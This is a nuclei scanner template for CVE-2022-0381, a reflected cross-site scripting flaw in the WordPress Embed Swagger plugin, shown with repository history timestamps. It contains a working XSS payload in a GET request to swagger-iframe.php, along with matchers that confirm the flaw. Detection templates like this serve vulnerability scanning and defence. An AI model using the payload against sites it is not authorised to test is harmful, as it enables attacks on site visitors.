nuclei-templates/http/cves/2022/CVE-2022-0381.yaml

51 lines
1.7 KiB
YAML
Raw Normal View History

2022-03-07 18:19:41 +00:00
id: CVE-2022-0381
info:
name: WordPress Embed Swagger <=1.0.0 - Cross-Site Scripting
2022-03-07 18:19:41 +00:00
author: edoardottt
severity: medium
description: |
WordPress Embed Swagger plugin 1.0.0 and prior contains a reflected cross-site scripting vulnerability due to insufficient escaping/sanitization and validation via the url parameter found in the ~/swagger-iframe.php file, which allows attackers to inject arbitrary web scripts onto the page.
2023-09-06 11:59:08 +00:00
remediation: |
Update to the latest version of the WordPress Embed Swagger plugin (1.0.0) or apply a patch provided by the vendor.
reference:
- https://gist.github.com/Xib3rR4dAr/4b3ea7960914e23c3a875b973a5b37a3
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-0381
- https://nvd.nist.gov/vuln/detail/CVE-2022-0381
2023-07-11 19:49:27 +00:00
- https://plugins.trac.wordpress.org/browser/embed-swagger/trunk/swagger-iframe.php#L59
2022-03-07 18:19:41 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0381
cwe-id: CWE-79
2023-08-31 11:46:18 +00:00
epss-score: 0.00218
epss-percentile: 0.59071
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:embed_swagger_project:embed_swagger:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: embed_swagger_project
product: embed_swagger
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-07-11 19:49:27 +00:00
tags: cve,cve2022,swagger,xss,wordpress
2022-03-07 18:19:41 +00:00
http:
2022-03-07 18:19:41 +00:00
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/embed-swagger/swagger-iframe.php?url=xss://%22-alert(document.domain)-%22"
matchers-condition: and
matchers:
2022-03-07 19:19:41 +00:00
- type: word
part: header
words:
- "text/html"
2022-03-07 18:19:41 +00:00
- type: word
part: body
words:
- "url: \"xss://\"-alert(document.domain)"
2023-07-11 19:49:27 +00:00
- type: status
status:
- 200